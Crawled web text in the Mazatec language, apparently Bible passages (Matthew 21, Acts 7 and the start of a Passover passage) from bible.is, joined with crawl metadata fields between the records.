'koa̱á 'sín tsò nga jè Juan, jngo xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱. 27Jñà xi̱ta̱ kìi̱ kitsó‑ní: ―Mì kì 'ya‑ji̱n. Ko̱ jè Jesús kitsó‑la̱: ―Ti̱'koa̱á 'a̱n, mì kì ko̱xín‑no yá ra kitsjà‑na kjo̱téxoma koni 'sín nga 'siaa̱n. 28Jesús kitsó‑la̱: ―¿Kó'sín bixó jiòn a̱'ta 'tse̱ kjoa̱ ra̱kìi̱? Jngo xi̱ta̱ ra jò ma‑ni i̱xti 'xi̱n‑la̱, india kitsò jngo‑la̱ jè ti‑la̱: \"Ji̱ ndí 'xi̱n, tini̱xí ya̱ ñánda̱ nga tjítje̱‑na to uva.\" 29Jè ti ra̱kìi̱ kitsó‑ní: \"Majìn‑na.\" Tanga a̱skan‑nioo̱, isíkájnoó‑ni ko̱ kijì síxá‑ni. 30Jè xi̱ta̱ ra̱kìi̱, 'kia̱á kiìjkon jè ti‑la̱ ra ìjngo. 'Koa̱á ti̱'sín kitsò‑la̱. Jè ti ra ìjngo kitsó‑ní: \"Nda tjín na̱'ìn, ka̱maá‑la kjián.\" Tanga mì kì kijì‑nì. 31¿Ñáa̱‑ni ti ra isìhitjasòn, ta ngajòo̱, koni 'sín nga mejèn‑la̱ jè na̱'ìn‑la̱? Jñà xi̱ta̱ kìi̱ kitsó‑ní: ―Jè ra isi'tin ítjòn. 'Kia̱á kitsò‑la̱ Jesús: ―'Koa̱á 'sín xin kixi̱‑no, jñà xi̱ta̱ ra síkíchjítjì tsajmì a̱'ta 'tse̱ xi̱ta̱xá Roma ko̱ jñà íchjín ská, jñá jnchro ra isa̱ ndi̱to̱n ki̱jchò koni ra jiòn ya̱ ñánda̱ nga tíbatéxoma jè Nainá. 32Nga̱ jè Juan ra tsatíndá xi̱ta̱, kií xá 'ji‑ni nga tsakón‑ya‑la̱ xi̱ta̱ kó'sín kixi̱ si̱ìjchá ijo‑la̱, tanga jiòn mì kì kjokjiín‑no a̱'ta 'tse̱. Tanga jñà xi̱ta̱ ra síkíchjítjì tsajmì ko̱ jñà ra íchjín ská kjokjiín‑la̱ ra a̱'ta 'tse̱ Juan. Ko̱ jiòn ni̱'sín nda kijcha nga'tsì kjoa̱ kìi̱, mì kì iníkájno jé‑no ko̱ mì kì kjokjiín‑no. 33'Ti̱ná'ya jngo‑isa kjoa̱ ra ma mangásòn. Jngo xi̱ta̱ ra tsikítje̱jin to uva ya̱ nangi‑la̱, ko̱ a̱kjòn tsikíchjàndi‑la̱, ko̱ tsikínda jngo i̱'nde ñánda̱ nga ki̱tjo jè nandá to‑la̱ uva. Ti̱'koa̱á tsikínda jngo ni'ya ra tsikísòn'nga mé‑ni nga ma ko̱kinda̱‑ni nga'tsiòo̱. A̱kjòn isikiña‑la̱ jè nangi‑la̱ jñà xi̱ta̱ mé‑ni nga si̱íxáko̱‑ni. A̱kjòn kjiín kijì ni‑la̱ nangi. 34'Kia̱ nga ijchò ni̱chjin‑la̱ nga kjójchá to uva, jè ni‑la̱ nangi isìkasén i'ka chi̱'nda‑la̱ mé‑ni nga isíjé jè ra bako̱‑la̱ a̱'ta 'tse̱ to uva ra kjójchá. 35Tanga jñà xi̱ta̱ ra i̱nchisíxájin nangi itsabá'ñó jñà xi̱ta̱ ra isìkasén jè ni‑la̱ nangi. Tjín ra iskajàn‑ko̱; ko̱ tjín ra isì'ken; ko̱ tjín ra na̱jo̱ tsikínè. 36Ra kjomà a̱skan‑nioo̱, jè ni‑la̱ nangi isa̱á kjìn chi̱'nda‑la̱ isìkasén india‑nì, tanga jñà xi̱ta̱ ra síxájin nangi, takó 'koa̱á 'sín isìko̱‑te. 37''Kia̱ nga ijyehe'tà‑ni, jé ti‑la̱ isìkasén. 'Koa̱á 'sín isíkítsjen nga kitsò: \"Ske̱xkón‑la ra jè ti‑na̱.\" 38Jñà xi̱ta̱ ra síxáko̱ nangi, 'kia̱ nga kijtse ra jè ti‑la̱ ni‑la̱ nangi, tsajo̱óya‑ni, nga kitsò‑la̱ xákjién: \"Jé‑la jè, ra 'tse̱ ki̱tso̱‑la̱ nangi, si̱'keén ko̱ tsa̱jién 'kín‑lá jè nangi.\" 39A̱kjòn itsabá'ñó, tsachrjekàjin ya̱ ñánda̱ tjín to uva; a̱kjòn isì'ken. 40'¿Kó bixó jiòn? 'Kia̱ nga kj'i̱í india‑ni jè ni‑la̱ nangi, ¿mé ra si̱ìko̱ jñà xi̱ta̱ ra isíxáko̱ nangi‑la̱? 41Jñà xi̱ta̱ ra i̱nchi'nchré‑la̱ kitsó‑ní: ―Si̱ì'ken‑la jñà xi̱ta̱ ra 'tse̱n, ko̱ kj'ií xi̱ta̱ tsjá‑la̱ nangi‑la̱ nga katasíxájin jñà ra ma‑la̱ ti̱'kia̱ tsjá kó'ki ra bako̱‑la̱ jè ni‑la̱ nangi a̱'ta 'tse̱ tsajmì ra majchá. 42Jesús kitsó‑la̱: ―¿A kjeé chitá'yá jè Xa̱jo̱n‑la̱ Nainá ra tsò?: Jè na̱jo̱ ra tsachrjengi jñà xi̱ta̱ ra bínda chrjó, jé tíma‑ni na̱jo̱ nga'ñó ra síjna ítjòn ya̱ nga chrja̱ngi̱‑la̱ ni'ya. Jé Nainá ra ko̱'sín tí'sín. Ko̱ ta maxkón‑ná 'kia̱ nga 'yeé jñà kjoa̱ kìi̱. 43Kií ko̱'sín xin‑no, ra jiòn, tjáhixìn‑no ya̱ i̱'nde ñánda̱ nga tíbatéxoma Nainá. Jñá 'ki̱‑la̱ jñà xi̱ta̱ ra ma‑la̱ tsjá mé ra bakèn‑la̱ ya̱ i̱'nde ñánda̱ nga tíbatéxoma Nainá. 44Tsa yá ra ya̱ ska̱jndosón jè na̱jo̱ ra̱kìi̱, ngi ko̱jòya‑ní; ko̱ tsa yá ra ya̱ ska̱tje̱n‑nè jè na̱jo̱ ra̱kìi̱, ngi ko̱chijo‑ní. 45'Kia̱ nga kií'nchré jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ jñà xi̱ta̱ fariseo koni 'sín nga kiìchja̱ Jesús nga tsi'kéna̱jmí 'én ra nda mangásòn, kjòchi̱ya‑la̱ nga a̱'ta 'tse̱‑ní nga ko̱'sín kitsò jè Jesús. 46Ti̱'kia̱á mejèn‑la̱ nga jtsa̱ba̱'ñó kjòn, tanga jñá itsakjòn‑la̱ jñà xi̱ta̱ na̱xi̱ndá ra ya̱ títsa̱jna, nga̱ jñà xi̱ta̱, 'koa̱á 'sín tsò nga Nainá chja̱ ngajo‑la̱ jè Jesús.\nSan Mateo 21","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/21","date":"2013-12-08T18:44:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163791972\/warc\/CC-MAIN-20131204132951-00069-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":1304,"character_repetition_ratio":0.068,"word_repetition_ratio":0.011,"special_characters_ratio":0.244,"stopwords_ratio":0.351,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Jè xi̱ta̱ ítjòn‑la̱ na̱'mì iskonangií‑la̱ jè Esteban kitsò‑la̱: ―¿A kixi̱í kjoa̱ nga ko̱tjín kjoa̱ ra kanínè‑li xi̱ta̱? 2Jè Esteban kitsó‑ní: ―'Ndsé, ko̱ ra xi̱ta̱ jchínga 'mì‑no: tjín‑no kjoa̱jetakòn nga ti̱ná'ya i̱tsé‑ná. Jè Nainá ra 'ñó jeya tíjna, tsatsíjen tsijeén‑la̱ jè xi̱ta̱ jchínga‑ná Abraham 'kia̱ nga ya̱ tíjna Mesopotamia, 'kia̱ nga ti̱kje bijchó kijna ján na̱xi̱ndá Harán; 3nga kitsò‑la̱: \"Títjo̱kàjin nangi‑li; ko̱ títjo̱kàjin‑la̱ xi̱ta̱ xàngi̱i; ko̱ ya̱ 'tin‑ki̱jni ya̱ nangi ñánda̱ nga 'a̱n kokon‑la.\" 4Jè Abraham, itjokàjin‑ní ya̱ nangi‑la̱ xi̱ta̱ Caldea, ya̱á kiì kijna ya̱ nangi Harán. 'Kia̱ nga ijye 'ken jè na̱'ìn‑la̱, jè Nainá 'jiìkó i̱ i̱'nde ñánda̱ titsa̱jneé 'ndi̱ 'ndi̱. 5Jè Nainá, ni̱mé i̱'nde kitsjà kjo̱tjò‑la̱ ra 'tse̱ kjomà; skanda nda mí ki'tsì i̱tsé‑la̱ ya̱ ñánda̱ ma ko̱sìjnasòn jngo ndsa̱ko̱. Tanga 'koa̱á 'sín kitsò‑la̱ nga jè i̱'nde ra̱kìi̱, 'tse̱é ko̱ma, ko̱ ti̱'koa̱á 'tse̱é i̱xti‑la̱ ki̱tso̱ ki'ta‑la̱ skanda ta mé ni̱chjin‑ni. Ni̱'sín jè ni̱chjin ra̱kìi̱, kjè tsa i̱xti tjín‑la̱ Abraham. 6Ko̱, ki̱í'sín kitsò‑la̱ Nainá: \"Jñà tje̱‑li, xín na̱xi̱ndá si̱ìjchá ijo‑la̱; xi̱ta̱ chi̱'ndaá ko̱ma; ijòn sindo̱ nó si̱ìkjiín kjo̱hi'in nga ske̱ton xi̱ta̱.\" 7Tanga ti̱'koa̱á kitsó Nainá: \"Tanga 'a̱án tsja‑la̱ kjo̱hi'in jè na̱xi̱ndá ñánda̱ nga xi̱ta̱ chi̱'nda 'si̱n‑no; 'kia̱ nga ko̱ma a̱skan‑nioo̱, jñà xi̱ta̱ tje̱‑li ki̱tjokajiín ya̱ na̱xi̱ndá ra̱kiòo̱, ko̱ kj'i̱í india‑ni i̱ i̱'nde ra̱kìi̱, ko̱ i̱í i̱jndíi̱ ñánda̱ nga nda kjón ske̱xkón‑na.\" 8Jè Nainá jngo kjoa̱ tsikíndajín‑ko̱ jè Abraham 'kia̱ nga kitsjà‑la̱ kjo̱hixi̱ nga si̱'ta chi̱ba̱ ijo‑la̱ xi̱ta̱, kjoa̱ 'tse̱ circuncisión. Jè Abraham, ki'seé jngo‑la̱ i'ndí ra Isaac ki'mì; 'kia̱ nga ijchò jin ni̱chjin nga kitsin, tsikí'ta chi̱ba̱á ya̱ ijo‑la̱. Ko̱ jè Isaac ki'se‑la̱ i'ndí ra ki'mì Jacob; 'koa̱á ti̱'sín isìko̱. Ko̱ jè Jacob, 'koa̱á ti̱'sín isìko̱ jñà i̱xti‑la̱ ra tejò kjomà, jñà ra xi̱ta̱ jchínga‑la̱ kjomà na̱xi̱ndá Israel. 9'Jñà i̱xti‑la̱ Jacob, jñà ra xi̱ta̱ jchínga‑ná, kjoxìtakòn‑keé jngo 'ndse̱ ra ki'mì José; a̱kjòn tsatína; ko̱ jñà xi̱ta̱ ra tsatse‑ni ya̱á kiìko̱ ján nangi Egipto. Tanga Nainá, ya̱á nda tíjnako̱ José. 10Ko̱ jè Nainá tsasìko̱ó ta mé kjoa̱ ra ki'se‑la̱. Ti̱'koa̱á kitsjá‑la̱ kjo̱bítsjen ko̱ kitsjá‑la̱ kjo̱nda ya̱ ngixko̱n Faraón ra xi̱ta̱xá ítjòn tíjna ján na̱xi̱ndá Egipto. Jè faraón, kitsjá‑la̱ xá José nga jè tsatéxoma‑la̱ na̱xi̱ndá Egipto, ti̱'koa̱ xi̱ta̱ ítjòn tsikijna ya̱ ni'ya‑la̱ faraón. 11'Jñà ni̱chjin kìi̱ kjinchrá ki'se kóho'ki nangi Egipto ko̱ ya̱ i̱'nde Canaán; tseé kjo̱hi'in ki'se‑la̱ xi̱ta̱; jñà xi̱ta̱ jchínga‑ná mì ti̱ kì isakò‑ila̱ tsajmì ra iskine. 12'Kia̱ nga kií'nchré Jacob nga tjín tsajmì ra ma chine ján Egipto isìkasén i̱xti‑la̱ jñà ra xi̱ta̱ jchínga‑ná, nga kií'ká tsajmì. 'Koa̱á 'sín kjomà‑ni nga kjo'tsia̱ nga ijchòtjòn ján Egipto. 13Ra ma‑ni jò 'ka̱ nga kií'ká tsajmì, José tsakón‑la̱ ijo‑la̱ jñà 'ndse̱. 'Koa̱á 'sín kjomà‑ni nga jè faraón kijtse ñánda̱ inchrabà‑ni jè tje̱‑la̱ José. 14Jè José kitsjá kjo̱hixi̱ nga kiìjch'à Jacob ra na̱'ìn‑la̱ ma nga ya̱ ki̱ji̱tji̱ngi‑la̱ ján Egipto. Ta nga'tsì xi̱ta̱ xákjién, jàn‑kan ko̱ chrjo'òn ma‑ni. 15'Koa̱á 'sín kjomà‑ni nga kijì Jacob ján Egipto; ya̱á 'ken; ti̱'koa̱ ya̱á 'ken nga'tsì i̱xti‑la̱ ra xi̱ta̱ jchínga‑ná kjomà. 16Ra kjomà a̱skan‑nioo̱, jñà ninda‑la̱ Jacob ko̱ 'tse̱ ti‑la̱ ya̱á kiìko̱ nga kiì kíhijin ya̱ ngatsjó‑la̱ ján Siquem, jngo nga̱jo̱ ra kjijna ya̱ i̱'nde ñánda̱ to̱n tsatse‑ni Abraham jè i̱'nde ra itìna i̱xti‑la̱ Hamor. 17''Kia̱ nga ijye kjochraña ni̱chjin nga ki̱tjasòn 'én ra ijye ko̱kitsò‑la̱ Nainá jè Abraham, jè na̱xi̱ndá Israel, 'ñó kjokjìn‑ya ján na̱xi̱ndá Egipto. 18Ijchó ni̱chjin ya̱ Egipto nga kj'ií xi̱ta̱xá ítjòn tsikijna ra mì kì kijtsexkon José. 19Jè xi̱ta̱xá ítjòn ra̱kìi̱, tsikí'tsia̱‑ní nga iskonda̱cha̱‑la̱ ko̱ kijtseton jñà xi̱ta̱ jchínga‑ná ko̱ nga'tsì xi̱ta̱ na̱xi̱ndá‑ná; kjo̱'ñó ki'sìn‑la̱ nga katatsjin‑tákon nga'tsì ndí i̱xti‑xó‑la̱ nga katiya mé‑ni nga katachija tje̱‑ni. 20Ti̱jé‑ni ni̱chjin nga kitsin jè Moisés. I'ndí ra̱kìi̱, 'ñó nda 'ki ra a̱'ta 'tse̱ Nainá. Jàn sá tsikijna ya̱ ni'ya‑la̱ nga isíjchá xi̱ta̱ jchínga‑la̱. 21'Kia̱ nga ta ya̱ isijnajin i̱sén, jè tsati‑la̱ faraón iskábétjò, isíjchá koni tsa i'ndí 'tse̱. 22Jè Moisés ya̱á iskotá'yá nga'tsì kjoa̱chji̱ne̱ ra tjín Egipto. 'Ñó ki'se‑la̱ nga'ñó kó'sín nga kiìchja̱ ko̱ nga'tsì kjoa̱ ra ki'sìn. 23''Kia̱ nga ijye tjín‑la̱ ichán nó Moisés, 'koa̱á 'sín tsi'ké‑la̱ ikon nga ikatsíjen‑la̱ xi̱ta̱ xákjién ra na̱xi̱ndá Israel. 24'Kia̱ nga kijtse jè Moisés nga 'cho tínìko̱ jngo xi̱ta̱ xákjién ra xi̱ta̱ Israel, tsasìko̱‑ní, isì'keén jè xi̱ta̱ Egipto ra tíbeton xákjién ko̱ 'koa̱á 'sín kisìjndà‑ni. 25'Koa̱á 'sín tísíkítsjen Moisés, tsa i̱nchimachi̱yaá‑la̱ jñà xi̱ta̱ Israel nga jè si̱ìchjeén Nainá nga si̱ìkítsa̱jnandi̱í‑ni; tanga jñà xi̱ta̱ Israel mì kì ko̱'sín kjòchi̱ya‑la̱. 26'Kia̱ nga kjomà ma nchijòn, kijtse‑ní nga jò xi̱ta̱ Israel i̱nchikjaán‑kjo, ko̱ jè Moisés mején‑la̱ nga si̱íkítsa̱jyo‑ni, kitsò‑la̱: \"Jiòn ra 'ndsè chibà, ¿mé‑ni nga ti̱jiòn bixkàn‑kjo‑no?\" 27Jè xi̱ta̱ ra tíkjaán‑ko̱ xákjién, 'kia̱á tsjahítsjá Moisés, kitsò‑la̱: \"¿Yá ra xi̱ta̱xá isíkíjna‑li, ko̱ yá ra ko̱kitsò‑li nga ji̱ kíndajín ra a̱'ta tsa̱ji̱n? 28¿A ti̱'koa̱á mejèn‑li nga si̱'ken‑ná koni 'sín ini'kin ngojña̱ jè xi̱ta̱ Egipto?\" 29Moisés, 'kia̱ nga kií'nchré 'én kìi̱ tsanga‑ní; ya̱á kiì kijna i̱'nde ra 'mì Madián. 'Koa̱á 'sín tsikijna koni jngo xi̱ta̱ ra mì tsa ya̱ i̱'nde‑la̱; ya̱á ixan ko̱ jò i̱xti ki'se‑la̱. 30''Kia̱ nga ijye ijchò ichán nó nga tíjna ján Madián jè Moisés, jngo ìkja̱li̱‑la̱ Nainá tsatsíjen‑la̱ ya̱ i̱'nde'taxìn ya̱ chraña'tá‑la̱ nindo Sinaí ñánda̱ nga i̱'nde kixì. Jè ìkja̱li̱ ya̱á síjnajin ni'í ñánda̱ jngo yá na'yá títì. 31'Kia̱ nga jè Moisés tíkotsíjen‑la̱ jè yá na'yá ra títìo̱, tà kjóxkón‑la̱ koni 'sín nga tíma; ikasijna chraña'tá-isa‑la̱ nga mejèn‑la̱ isa̱ nda ske̱; 'kia̱á kií'nchré jè jta̱‑la̱ Nainá nga kiìchja̱jin i̱sén, nga kitsò: 32\"'A̱n‑ná ra Nainá‑la̱ jñà ra xi̱ta̱ jchínga‑li, Nainá‑la̱ Abraham, Nainá‑la̱ Isaac, ko̱ Nainá‑la̱ Jacob.\" Jè Moisés tà jatsé‑ní nga̱ 'ñó itsakjòn, ko̱ mì kì kitsò ikon nga iskotsíjen‑la̱. 33Jè Nainá kitsó‑la̱: \"Ti̱náchrji xa̱jté ra kjiya‑li; nga̱ jè i̱'nde ñánda̱ tisìjnasìn, i̱'nde tsje‑ní. 34Tíbe‑ná, kó'ki kjo̱hi'in i̱nchisíkjiín xi̱ta̱‑na̱ ra títsa̱jna ya̱ Egipto. Ko̱ ijyeé kí'nchre‑la̱ nga i̱nchifajé'ta‑na; ko̱ kií xá kábítjo̱je̱en‑na nga síkítsa̱jnandi̱í‑na. Kií ko̱'sín tíchjà‑la, nchrabí, ya̱á sikásén‑la ján Egipto.\" 35'Jñà xi̱ta̱ Israel, ni̱'sín tsachrjengi jè Moisés 'kia̱ nga kitsò‑la̱: \"¿Yá ra xi̱ta̱xá isíkíjna‑li ko̱ yá ra ko̱kitsò‑li nga ji̱ kíndajín‑náji̱n?\", tanga jè sabá Nainá isìkasén ján na̱xi̱ndá Egipto koni jngo xi̱ta̱xá ítjòn, ko̱ koni jngo xi̱ta̱ ra ma‑la̱ síkíjnandi̱í‑ná. Nga̱ jè Nainá isìkasén jè ìkja̱li̱ ra tsikí'tin Moisés. 36Ko̱ jé Moisés ra tsachrjekàjin xi̱ta̱ Israel ya̱ na̱xi̱ndá Egipto. Nainá kitsjá‑la̱ nga'ñó nga kjìn kjo̱xkón ki'sìn kóho'ki i̱'nde ya̱ Egipto ko̱ ya̱ a̱jin ndáchikon ra 'mì Ndáchikon Inì, ko̱ kóho'ki ya̱ i̱'nde a̱'ta xìn ra nangi kixì ñánda̱ ichán nó tsikimaya ndi̱yá. 37Ti̱jé‑ni Moisés ra ko̱'sín kitsò‑la̱ jñà xi̱ta̱ Israel: \"Nainá, ti̱ya̱á ko̱chrjekàjin jngo‑ni xi̱ta̱ xàngio̱o jè ra ki̱chja̱ ngajo‑la̱ koni 'a̱n.\" 38Ti̱'koa̱á ti̱jé‑ni Moisés ra tsikijnako̱ xi̱ta̱ na̱xi̱ndá Israel ya̱ i̱'nde'taxìn ñánda̱ nga nangi kixì, ti̱jé‑te‑ni ra kiìchja̱‑la̱ ìkja̱li̱ ya̱ nindo Sinaí, ko̱ ti̱jé‑te‑ni ra tsajmekó jñà xi̱ta̱ jchínga‑ná, ti̱'koa̱á ti̱jé‑te‑ni ra itjábé‑la̱ 'én‑la̱ Nainá ra síkíjnakon‑ná mé‑ni nga ma si̱ikatoya‑ná ra jién. 39'Tanga jñà xi̱ta̱ jchínga‑ná mì kì kií'nchréhijon‑la̱; ta tsachrjengi‑ní. Ta isa̱á, ya̱ a̱jin inìma̱‑la̱ isíkítsjen nga mején‑la̱ koa̱áfa india‑ni ján Egipto. 40Kitsò‑la̱ jè Aarón: \"Tinda i'ki nainá xkósòn ra ki̱ji̱ ítjòn‑ná. Jè Moisés ra tsachrjekàjin‑ná ya̱ nangi Egipto, mì kì 'yeé mé ra kjomà‑la̱.\" 41'Kia̱á tsikínda jngo xkósòn ra nainá kitsò‑la̱ ra i̱sén‑la̱ nchra̱ja̱ i'ndí 'ki; isì'ken‑la̱ cho̱, kitsjá‑la̱ kjo̱tjò jè i̱sén‑la̱ nchra̱ja̱ nga kijtsexkón, a̱kjòn tsikíjna jngo 'sí a̱'ta 'tse̱ nainá xkósòn ra ti̱jñà tsikínda‑ni. 42'Koa̱á 'sín ma‑ni nga jè Nainá kitsjin-tákon jñà xi̱ta̱ Israel. Kitsjá'ndeé‑la̱ nga jñà kijtsexkón ijye nga'tsì jñà nitse ra tjín ján ngajmi. Nga̱ 'koa̱á 'sín tíchja̱ xa̱jo̱n ra tsikínda jñà xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá nga tsò: Jiòn ra xi̱ta̱ na̱xi̱ndá Israel, ra ichán nó tsinchimaya jiòn ndi̱yá ya̱ i̱'nde'taxìn ñánda̱ nga nangi kixì. ¿A 'a̱án ini'ken‑nájiòn cho̱, ko̱ a ki'tsí‑ná jiòn jè kjo̱tjò‑no? 43Ki ta isa̱á jè ki'chàmijiòn ni'ya nikje‑la̱ nainá xkósòn 'tse̱ Moloc, ko̱ nitse‑la̱ 'tse̱ nainá xkósòn‑no ra 'mì Refán; jñà i̱sén ra jiòn tsikìnda nga kijchaxkón. Kií nga̱tjì‑la̱ nga kochrjékajin‑no ya̱ i̱'nde tsa̱jiòn. Isa̱á kjin sikásén‑no koni ñánda̱ nga tíjna Babilonia, kitsò jñà xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá. 44'Ya̱ i̱'nde'taxìn ñánda̱ nangi kixì, jñà xi̱ta̱ jchínga‑ná ki'se jngo‑la̱ Ni'ya Tsje ra 'tse̱ nikje ra bakón nga ya̱ kjihijyoyá kjo̱téxoma tsje‑la̱ Nainá. 'Koa̱á 'sín isinda ni'ya ra̱kìi̱ koni 'sín tsatéxoma‑la̱ Nainá jè Moisés 'kia̱ nga kitsò‑la̱ nga 'koa̱á 'sín kátínda jngo ni'ya koni 'ki i̱sén‑la̱ ni'ya ra ijye kijtse. 45Ni'ya tsje ra̱kìi̱ ra nikje, jñá xi̱ta̱ jchínga‑ná kjonga̱tsja; jñà 'jiìkó xi̱ta̱ ra tje̱n‑ko̱ Josué, 'kia̱ nga 'jaha'sen i̱jndíi̱ ya̱ i̱'nde ñánda̱ nga jè sabà Nainá tsachrjekàjin jñà xi̱ta̱ ra ya̱ na̱xi̱ndá‑la̱. Ni'ya ra̱kìi̱, ya̱á isijna skanda jè ni̱chjin 'tse̱ David. 46Jè Nainá, 'ñó nda isasèn‑la̱ David. Ko̱ jè David kisíjé'nde‑la̱ Nainá nga mejèn‑la̱ ki̱ìnda jngo‑la̱ ni'ya ñánda̱ kíjna Nainá ra bexkón nga'tsì xi̱ta̱ tje̱‑la̱ Jacob. 47Tanga jé Salomón ra tsikínda jngo‑la̱ ni'ya Nainá. 48Tsa nda kjòn‑ni, jè Nainá ra 'ñó 'nga tíjna, mì tsa ya̱ bijnaya ni'ya ra xi̱ta̱ bínda. Koni 'sín kitsò nga kitsjà‑la̱ 'én jè xi̱ta̱ ra kiìchja̱ ngajo‑la̱, nga kitsò: 49Jè ngajmi, 'koa̱á 'sín ngoya‑la̱ koni jè íxile̱‑na̱ ya̱ ñánda̱ nga 'a̱n batexóma; ko̱ jè nangi, 'koa̱á 'sín ngoya‑la̱ koni jngo ískoo̱n ya̱ ñánda̱ nga minchasòo̱n jñà ndsa̱koàa̱. ¿Kó'ki jè ni'ya ra kínda‑nájiòn? ¿A ko̱maá‑no kínda jngo i̱'nde ñánda̱ nga síkjáya?, kitsó Na̱'ín‑ná. 50¿A mí tsa 'a̱n sabà tsikindá ijye tsajmì kìi̱? 51Jè Esteban kitsó‑isa‑la̱: ―Jiòn, kji'tá ni̱chjin, 'ñó tájajín tjín inìma̱‑no; ko̱ mì kì kaya‑no 'én ra na'yá; jè inìma̱ ra tjín‑no mì kì bexkón Nainá. Kji'tá ni̱chjin tájajín 'nià‑la, mì kì na'yá‑la jè Inìma̱ Tsje‑la̱ Nainá; ngásòn 'nià koni 'sín nga ki'sìn‑te jñà xi̱ta̱ jchínga‑no. 52Ni̱jngo‑la xi̱ta̱ ra kiìchja̱ya ngájo‑la̱ Nainá kjotseé, mì tsahatji̱ngi‑la̱ jñà xi̱ta̱ jchínga‑no; ti̱'koa̱á isì'ken‑te jñà ra 'jií 'kéna̱jmí a̱'ta 'tse̱ jngo xi̱ta̱ kixi̱, jè ra tjínè‑la̱ nga kj'i̱í. 'Kia̱ nga 'ji jè xi̱ta̱ kixi̱ ra̱kìi̱, jión inìnga̱tsja nga ko̱'sín isì'ken xi̱ta̱. 53Nga'tsì‑no ra jiòn, ra a̱'ta 'tse̱ ìkja̱li̱ ki'tsì‑no kjo̱téxoma, ta isa̱á mì kì nihitjasòn ―kitsó Esteban. 54Jñà xi̱ta̱ kìi̱ 'kia̱ nga kií'nchré 'én ra kiìchja̱ Esteban, 'ñó jti kjomà‑la̱ ya̱ a̱jin inìma̱‑la̱, ngi iskinenè ni̱'ño̱ nga kondra̱ kijì‑la̱ 'kia̱ nga ko̱'sín kitsò Esteban. 55Tanga jè Esteban, 'ñó nda tjíjin ya̱ inìma̱‑la̱ jè Inìma̱ Tsje‑la̱ Nainá. Iskotsíjen ján ngajmi; kijtse jè kjoa̱jeya‑la̱ Nainá; ko̱ kijtse Jesús nga síjna'ta ya̱ nga kixi̱‑la̱ Nainá. 56Kitsò: ―Tíbe‑ná ján ngajmi nga ti̱'xá; ko̱ jè ra I'ndí‑la̱ Xi̱ta̱ tsò‑la̱ ijo‑la̱, ya̱á síjna'ta ya̱ nga kixi̱‑la̱ Nainá. 57Nga'tsì xi̱ta̱ kìi̱, tsikíchjàjtoó chíká‑la̱; a̱kjòn 'ñó iskindaya'tin; indiaá kjójtín‑nè ijye jè Esteban; 58tsachrjekàjin ya̱ a̱jin na̱xi̱ndá; a̱kjòn tsikínè na̱jo̱. Jñà xi̱ta̱ ndiso ra ko̱'sín kitsjà 'én, tsachrje nikje‑la̱ [mé‑ni nga mì si̱ìjti‑la̱ nga ska̱ábé na̱jo̱], ko̱ ya̱á tsakáhijyongi ya̱ ndsa̱ko̱ xi̱ta̱ ti ra 'mì Saulo. 59'Kia̱ nga tísinè na̱jo̱ jè Esteban, kiìchja̱'tá‑la̱ Nainá nga kitsò: ―Na̱'ìn Jesús, chjíbétjì jè inìma̱‑na̱. 60A̱kjòn tsasijna-xkó'nchi, 'ñó kiìchja̱ nga kitsò: ―¡Na̱'ìn, kì tà chjàn kinda̱ 'nì, jé‑la̱ jñà xi̱ta̱ kìi̱! 'Kia̱ nga ijye ko̱kitsò, a̱kjòn 'ken.\nHechos 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/7","date":"2013-12-08T23:29:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163828351\/warc\/CC-MAIN-20131204133028-00098-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":1737,"character_repetition_ratio":0.067,"word_repetition_ratio":0.002,"special_characters_ratio":0.231,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Jyeé tímachrañà na̱chrjein nga bitjo s'eí Paxko̱ k'e̱ nga kjèn i̱nchra̱jín xi tsjìn‑la̱ na̱'yo̱ san jñà xi̱ta̱ judío. 2Jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, nga tsakjón‑la̱ xi̱ta̱ na̱xa̱ndá, tsohótsji'nde‑la̱ kó s'ín si̱ìko̱ Jesús nga si̱ìk'en. 3Jè xi̱ta̱ nei̱í jahas'en‑jiìn ini̱ma̱‑la̱ jè Judas xi ti̱koa̱ Iscariote 'mì, xi ya̱ itjojiìn ts'e̱ xi̱ta̱ xi tejò ma‑ne xi tsajmeiìko̱ Jesús. 4Judas, kiìkáko̱ jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ sko̱‑la̱ xi síkinda̱ i̱ngo̱ ítjòn nga tsajoóya‑ne kó s'ín si̱ìnga̱tsja Jesús. 5Jñà xi̱ta̱ koi, tsjaá komà‑la̱; tsibíndaàjiìn nga to̱n tsjá‑la̱. 6Judas, kòkjeiín‑la̱, i̱kjoàn tsohótsji'nde‑la̱ kó s'ín si̱ìnga̱tsja Jesús nga mìkiì skoe̱ jñà xi̱ta̱ na̱xa̱ndá. 7Ijchò na̱chrjein‑la̱ s'eí ts'e̱ i̱nchra̱jín xi tsjìn‑la̱ na̱'yo̱ san, k'e̱ nga k'oa̱s'ín tjínè‑la̱ nga biyaà orrè xi bíxteèn jní‑la̱ xi i̱t'aà ts'e̱ s'eí Paxko̱. 8Jesús kisìkasén Pedro ko̱ Juan, kitsò‑la̱: ―Tanguió kìndaà tsojmì xi kjoa̱ ts'e̱ s'eí Paxko̱ mé‑ne nga ki̱chiaá. 9Jñà xi̱ta̱‑la̱ kiskònangui‑la̱, kitsò‑la̱: 